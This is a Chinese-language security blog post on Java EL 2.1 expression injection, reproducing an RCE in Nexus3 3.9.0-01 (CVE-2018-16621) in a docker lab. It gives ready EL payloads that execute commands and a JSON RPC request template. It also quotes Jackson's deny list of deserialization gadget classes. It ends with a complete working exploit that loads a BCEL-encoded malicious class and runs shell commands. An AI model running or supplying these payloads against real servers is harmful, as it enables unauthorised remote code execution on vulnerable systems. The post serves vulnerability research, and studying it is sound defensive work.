java el 2.1 表达式注入payload(复现上古版本nexus rce)

简介

https://zh.wikipedia.org/zh/%E7%BB%9F%E4%B8%80%E8%A1%A8%E8%BE%BE%E5%BC%8F%E8%AF%AD%E8%A8%80

Java统一表达式语言(英語:Unified Expression Language,简称JUEL)是一种特殊用途的编程语言,主要在Java Web应用程序用于将表达式嵌入到web页面。Java规范制定者和Java Web领域技术专家小组制定了统一的表达式语言。JUEL最初包含在JSP 2.1规范JSR-245中,后来成为Java EE 7的一部分,改在JSR-341中定义。

网上流传的el 表达式注入 poc

//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}

//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

//文件头参数
${header}

//获取webRoot
${applicationScope}

//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}

${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('calc')}

${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")}

构造 远程 rce 有两种方式:

  • 反射 invoke 调用 java.lang.Runtime exec

  • 反射 newInstance 创建javax.script.ScriptEngineManager 脚本引擎

java el 2.1(复现 nexus3:3.9.0-01 CVE-2018-16621 )

以下内容来源于 复现 nexus3:3.9.0-01 CVE-2018-16621 的过程

docker 一行启动 nexus3:3.9.0-01 环境

docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3:3.9.0-01

el 2.1 表达式 不支持 可变参数方法

上面流传的 payload 其实并不能覆盖全部场景,事实上并不兼容 java el 2.1 的语法;(上古代码连payload 都跑不通

查询资料的过程中找到一个7年前的问题,有且仅有一个回答。

No, it is not possible to use variable arguments in EL method expressions, let alone EL functions. Your best bet is to create multiple different named methods with a different amount of fixed arguments.

https://stackoverflow.com/questions/15560508/invoke-method-with-varargs-in-el-throws-java-lang-illegalargumentexception-wron

在复现 sonatype/nexus3:3.9.0-01 版本的 CVE-2018-16621 过程中,发现依赖的el 引擎 javax.el-api/2.2.5 代码中直接忽略了 m.isVarArgs() 情况下的参数构建,

导致可变参数方法不可传参 只能 method() 调用

// repository/javax/el/javax.el-api/2.2.5/javax.el-api-2.2.5-sources.jar!/javax/el/BeanELResolver.java    
private Object invokeMethod(Method m, Object base, Object[] params) {

        Class[] parameterTypes = m.getParameterTypes();
        Object[] parameters = null;
        if (parameterTypes.length > 0) {
            ExpressionFactory exprFactory = getExpressionFactory();
            if (m.isVarArgs()) {
                // TODO
            } else {
                parameters = new Object[parameterTypes.length];
                for (int i = 0; i < parameterTypes.length; i++) {
                    parameters[i] = exprFactory.coerceToType(params[i],
                                                           parameterTypes[i]);
                }
            }
        }
        try {
            return m.invoke(base, parameters);
        } catch (IllegalAccessException iae) {
            throw new ELException(iae);
        } catch (InvocationTargetException ite) {
            throw new ELException(ite.getCause());
        }
    }

复现 rce

在当前 nexus3:3.9.0-01 javax.el-api/2.2.5 条件下

尝试流传的通用payload

invoke 可变参数 invoke(Object obj, Object... args) 这里显然完全不可用

只看使用 newInstance() 无参构造出一个 类实例

  • 尝试反射 newInstance 创建javax.script.ScriptEngineManager 脚本引擎

    {"action":"coreui_Role","method":"create","data":[{"version":"","source":"default","id":"11","name":"1111","description":"1","privileges":[],"roles":["${''.class.forName('javax.script.ScriptEngineManager')}"]}],"type":"rpc","tid":19}
    

    可惜报错找不到 class java.lang.ClassNotFoundException: javax.script.ScriptEngineManager not found by javax.el-api [93

目前两条路都断了。。。

柳暗花明又一村

首先目前el 2.1 表达式可以实现的功能:

  • newInstance() 无参构造一个类实例
  • 调用对象 非可变参数的方法

仔细想想是不是有点像 java 反序列化的利用链,java 反序列 利用大多是通过创建一个类,在类的构造函数 setter getter 方法里做文章

比如 fastjson 的payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit"," "autoCommit":true}

这里就是创建了一个com.sun.rowset.JdbcRowSetImpl的对象,依次调用 setDataSourceNamesetAutoCommit 方法触发lookup jndi,导致 rce

el 表达式除了只能无参构造类对象外, 能执行的方法可是比反序列更多,理论上大部分反序列的利用链都可以直接使用。

这里最初想直接调用 javax.naming.InitialContext lookup 利用 jndi 的 ,可惜也是 java.lang.ClassNotFoundException

现在寻找rce的路径就变成了,找到一个可用的恶意类,调用触发方法。

  • 寻找 恶意类

    jackson 代码里的恶意 class

    (这里本来想找fastjson 的恶意利用链,可惜fastjson 代码没有明示黑名单,而且黑名单有些没有定位到具体的类,找起来有点麻烦,放弃)

    https://github.com/FasterXML/jackson-databind/blob/master/src/main/java/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java

    static {
            Set<String> s = new HashSet<String>();
            // Courtesy of [https://github.com/kantega/notsoserial]:
            // (and wrt [databind#1599])
            s.add("org.apache.commons.collections.functors.InvokerTransformer");
            s.add("org.apache.commons.collections.functors.InstantiateTransformer");
            s.add("org.apache.commons.collections4.functors.InvokerTransformer");
            s.add("org.apache.commons.collections4.functors.InstantiateTransformer");
            s.add("org.codehaus.groovy.runtime.ConvertedClosure");
            s.add("org.codehaus.groovy.runtime.MethodClosure");
            s.add("org.springframework.beans.factory.ObjectFactory");
            s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
            s.add("org.apache.xalan.xsltc.trax.TemplatesImpl");
            // [databind#1680]: may or may not be problem, take no chance
            s.add("com.sun.rowset.JdbcRowSetImpl");
            // [databind#1737]; JDK provided
            s.add("java.util.logging.FileHandler");
            s.add("java.rmi.server.UnicastRemoteObject");
            // [databind#1737]; 3rd party
    //s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855]
            s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean");
            // [databind#2680]
            s.add("org.springframework.aop.config.MethodLocatingFactoryBean");
            s.add("org.springframework.beans.factory.config.BeanReferenceFactoryBean");
    
    // s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); // deprecated by [databind#1931]
    // s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"); // - "" -
            // [databind#1855]: more 3rd party
            s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource");
            s.add("com.sun.org.apache.bcel.internal.util.ClassLoader");
            // [databind#1899]: more 3rd party
            s.add("org.hibernate.jmx.StatisticsService");
            s.add("org.apache.ibatis.datasource.jndi.JndiDataSourceFactory");
            // [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entities
            s.add("org.apache.ibatis.parsing.XPathParser");
    
            // [databind#2052]: Jodd-db, with jndi/ldap lookup
            s.add("jodd.db.connection.DataSourceConnectionProvider");
    
            // [databind#2058]: Oracle JDBC driver, with jndi/ldap lookup
            s.add("oracle.jdbc.connector.OracleManagedConnectionFactory");
            s.add("oracle.jdbc.rowset.OracleJDBCRowSet");
    
            // [databind#2097]: some 3rd party, one JDK-bundled
            s.add("org.slf4j.ext.EventData");
            s.add("flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor");
            s.add("com.sun.deploy.security.ruleset.DRSHelper");
            s.add("org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl");
    
            // [databind#2186], [databind#2670]: yet more 3rd party gadgets
            s.add("org.jboss.util.propertyeditor.DocumentEditor");
            s.add("org.apache.openjpa.ee.RegistryManagedRuntime");
            s.add("org.apache.openjpa.ee.JNDIManagedRuntime");
            s.add("org.apache.openjpa.ee.WASRegistryManagedRuntime"); // [#2670] addition
            s.add("org.apache.axis2.transport.jms.JMSOutTransportInfo");
    
            // [databind#2326] (2.9.9)
            s.add("com.mysql.cj.jdbc.admin.MiniAdmin");
    
            // [databind#2334]: logback-core (2.9.9.1)
            s.add("ch.qos.logback.core.db.DriverManagerConnectionSource");
    
            // [databind#2341]: jdom/jdom2 (2.9.9.1)
            s.add("org.jdom.transform.XSLTransformer");
            s.add("org.jdom2.transform.XSLTransformer");
    
            // [databind#2387], [databind#2460]: EHCache
            s.add("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup");
            s.add("net.sf.ehcache.hibernate.EhcacheJtaTransactionManagerLookup");
    
            // [databind#2389]: logback/jndi
            s.add("ch.qos.logback.core.db.JNDIConnectionSource");
    
            // [databind#2410]: HikariCP/metricRegistry config
            s.add("com.zaxxer.hikari.HikariConfig");
            // [databind#2449]: and sub-class thereof
            s.add("com.zaxxer.hikari.HikariDataSource");
    
            // [databind#2420]: CXF/JAX-RS provider/XSLT
            s.add("org.apache.cxf.jaxrs.provider.XSLTJaxbProvider");
    
            // [databind#2462]: commons-configuration / -2
            s.add("org.apache.commons.configuration.JNDIConfiguration");
            s.add("org.apache.commons.configuration2.JNDIConfiguration");
    
            // [databind#2469]: xalan
            s.add("org.apache.xalan.lib.sql.JNDIConnectionPool");
            // [databind#2704]: xalan2
            s.add("com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool");
    
            // [databind#2478]: comons-dbcp, p6spy
            s.add("org.apache.commons.dbcp.datasources.PerUserPoolDataSource");
            s.add("org.apache.commons.dbcp.datasources.SharedPoolDataSource");
            s.add("com.p6spy.engine.spy.P6DataSource");
    
            // [databind#2498]: log4j-extras (1.2)
            s.add("org.apache.log4j.receivers.db.DriverManagerConnectionSource");
            s.add("org.apache.log4j.receivers.db.JNDIConnectionSource");
    
            // [databind#2526]: some more ehcache
            s.add("net.sf.ehcache.transaction.manager.selector.GenericJndiSelector");
            s.add("net.sf.ehcache.transaction.manager.selector.GlassfishSelector");
    
            // [databind#2620]: xbean-reflect
            s.add("org.apache.xbean.propertyeditor.JndiConverter");
    
            // [databind#2631]: shaded hikari-config
            s.add("org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig");
    
            // [databind#2634]: ibatis-sqlmap, anteros-core
            s.add("com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig");
            s.add("br.com.anteros.dbcp.AnterosDBCPConfig");
    
            // [databind#2642]: javax.swing (jdk)
            s.add("javax.swing.JEditorPane");
    
            // [databind#2648], [databind#2653]: shiro-core
            s.add("org.apache.shiro.realm.jndi.JndiRealmFactory");
            s.add("org.apache.shiro.jndi.JndiObjectFactory");
    
            // [databind#2658]: ignite-jta (, quartz-core)
            s.add("org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup");
            s.add("org.apache.ignite.cache.jta.jndi.CacheJndiTmFactory");
            s.add("org.quartz.utils.JNDIConnectionProvider");
    
            // [databind#2659]: aries.transaction.jms
            s.add("org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory");
            s.add("org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory");
    
            // [databind#2660]: caucho-quercus
            s.add("com.caucho.config.types.ResourceRef");
    
            // [databind#2662]: aoju/bus-proxy
            s.add("org.aoju.bus.proxy.provider.RmiProvider");
            s.add("org.aoju.bus.proxy.provider.remoting.RmiProvider");
    
            // [databind#2664]: activemq-core, activemq-pool, activemq-pool-jms
    
            s.add("org.apache.activemq.ActiveMQConnectionFactory"); // core
            s.add("org.apache.activemq.ActiveMQXAConnectionFactory");
            s.add("org.apache.activemq.spring.ActiveMQConnectionFactory");
            s.add("org.apache.activemq.spring.ActiveMQXAConnectionFactory");
            s.add("org.apache.activemq.pool.JcaPooledConnectionFactory"); // pool
            s.add("org.apache.activemq.pool.PooledConnectionFactory");
            s.add("org.apache.activemq.pool.XaPooledConnectionFactory");
            s.add("org.apache.activemq.jms.pool.XaPooledConnectionFactory"); // pool-jms
            s.add("org.apache.activemq.jms.pool.JcaPooledConnectionFactory");
            
            // [databind#2666]: apache/commons-jms
            s.add("org.apache.commons.proxy.provider.remoting.RmiProvider");
    
            // [databind#2682]: commons-jelly
            s.add("org.apache.commons.jelly.impl.Embedded");
    
            // [databind#2688]: apache/drill
            s.add("oadd.org.apache.xalan.lib.sql.JNDIConnectionPool");
    
            // [databind#2698]: weblogic w/ oracle/aq-jms
            // (note: dependency not available via Maven Central, but as part of
            // weblogic installation, possibly fairly old version(s))
            s.add("oracle.jms.AQjmsQueueConnectionFactory");
            s.add("oracle.jms.AQjmsXATopicConnectionFactory");
            s.add("oracle.jms.AQjmsTopicConnectionFactory");
            s.add("oracle.jms.AQjmsXAQueueConnectionFactory");
            s.add("oracle.jms.AQjmsXAConnectionFactory");
    
            // [databind#2764]: org.jsecurity:
            s.add("org.jsecurity.realm.jndi.JndiRealmFactory");
    
            // [databind#2798]: com.pastdev.httpcomponents:
            s.add("com.pastdev.httpcomponents.configuration.JndiConfiguration");
            
            DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);
        }
    
  • 判断目标环境可以找到的恶意class

    burp intruder 爆破下 判断 class 在目标中是否存在

    {"action":"coreui_Role","method":"create","data":[{"version":"","source":"default","id":"11","name":"1111","description":"1","privileges":[],"roles":["${''.class.forName('$burp intruder here$')}"]}],"type":"rpc","tid":19}
    
  • com.sun.org.apache.bcel.internal.util.ClassLoader

目标环境 nexus3:3.9.0-01 javax.el-api/2.2.5 可以找到恶意class com.sun.org.apache.bcel.internal.util.ClassLoader

jackson 的payload 是调用 ClassLoader 的 loadClass方法 加载编码后的恶意class 导致rce

https://paper.seebug.org/543/

这里用el 表达式表述就是

${''.class.forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$evalClass').newInstance()}

到这即完成了全部利用 加载恶意类,触发rce

最终 poc

eval.class


import java.io.*;

public class eval {
    public eval() {

    }

    public String exec(String cmd) throws IOException {
        StringBuilder stringBuilder = new StringBuilder();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
        String line;
        while((line = bufferedReader.readLine()) != null) {
            stringBuilder.append(line).append("\n");
        }
        String res = stringBuilder.toString();
        return res;
    }
    public static void main(String[] args) {
    }
}

加载 eval 类,调用exec 方法

${''.class.forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$I$7c$m$n_$A$Deval$$class$A$8dT$5bO$TQ$Q$fe$O$ddv$cb$b2$U$u$d7$827$f0$c2B$vU$f1$da$o$m$V$US$c1$80$c14$3em$b7$87$ba$a4$ddm$b6$5b$c2$3f$f2Uc$d2$gI$7c$f4$c1$9f$e2$8fP$e7l$97$5eB$8d$b6$e9$cc93$df$99$f9f$e6$9c$fe$f8$f5$f5$h$80$3bx$a9$60$Y$8b2$e2$K$fa$84$5e$92$91P$b0$8c$a4$Q$b7$VB$dcU$Q$c4$8a$C$J$f7$84$b8$_$80$P$c2x$u$f4$p$Z$8fe$a4$YB$ab$a6e$bak$M$Bm$e1$90A$ca$d8$F$ce0$945$z$be$5b$x$e7$b9$f3F$cf$97$c8$S$cd$da$86$5e$3a$d4$jS$ec$7d$a3$e4$be7$ab$U$p$cbO$f4R$9a$f6$fc$94$h$M$b7$b4$ec$b1$7e$a2$tK$baUL$k$b8$8ei$V$d3$L$XM$94$d3$u$XD$e8$k$ae$c1$aa$b7$da$ac$99$a5$Cw$Yb$X$40$be$8b$b0$91$7c$ed$e8$88$3b$bc$b0$cfu$P$3c$d5$E$9bvr$b3$cb$p$u$96$a82$ca$ecp$o$ael$9d$g$bc$e2$9a$b6U$95$n$9ce$dd$b4$Y$s$b4w$3d$K$Q$dd$d1$9d$o$j$h$ed$e1$a6$60$Hv$cd1$f8$b6$v$3a$d3$_$3a$b2$yP$wF$Qe$98$fc$L$7d$ca$d6$9b$x$95$7c$ee$d8$b1$w5$97Nq$bd$dc$f4$c9XU$f1$Ek$w$a6$b0$$cC$c5Sl$8aD$Z$n$9e$a9$d8$c2$b6$8a$e7x$c1$c0$U$V$3b$d8$W$b3$nF$M$c3m$k$7b$f9cn$b8TN$x$cf$5e$ab$l$M$pm$e0$7e$cdr$cd2U$a5$U$b9$db$da$8ck$9d3$f5$cd$d4$87$f9$7fL$ff$b5c$h$bcZMw$a5$f0$8d4KJ$d1Q$_5$ee$3cMw$p$e8$f8$94$d6$d3$n$G5$dav$f9$93$X$d60$f9$LYo$fecZ$cf$L$Z$d2$x$Vn$d1$9dL$fc$d7$Vn_$c1$b0k7M$98$c5$Q$3dL$f1$J$80$89$d9$93$i$a5$dd$KiF$3a$b8$d8$A$fbD$8b$3e$8c$91$U$8f$91$8c$f4$3ee$8c$d3Jm$820$81I$d2T$qb$84$Q$B$3e$pD_$ms$86$be$5c$D$81Wg$90rg$I$e6$be$m$U$afC$ae$p$dc$40$7f$D$can$a2$8e$81$5cJ$fa$8e$e8RL$aaC$8d$O$92x$fb$e1$f7$cf$a5$3a$o$a9$60$y$f8$b1$95$7e$da$L$a9$m$8c$Bb$3e$888$oH$R$ff$Nb$$$e8$ac5S$fat$c4j$g3D$x$8c4$$$e12E$99$c5$i$ae$e0$wU$ab$91$e7$g$fd$q$3a$j$m$fb$M$951Gg$q$c2_G$3fn$e0$a6$df$8b$b8W$g$3a$fb$Q$f2$Mc$j$3d$a0$ff$R$cc$7bZ$f3P$L$7f$A$f1$e1$81$9c$fb$E$A$A').newInstance().exec('ps')}

这里其实 com.sun.rowset.JdbcRowSetImpl 目标环境也可加载,但是 el 2.1 可能还有其他限制,实测中没法创建变量保存生成的对象,这里需要分别调用 setDataSourceName 和 setAutoCommit 就服务实现。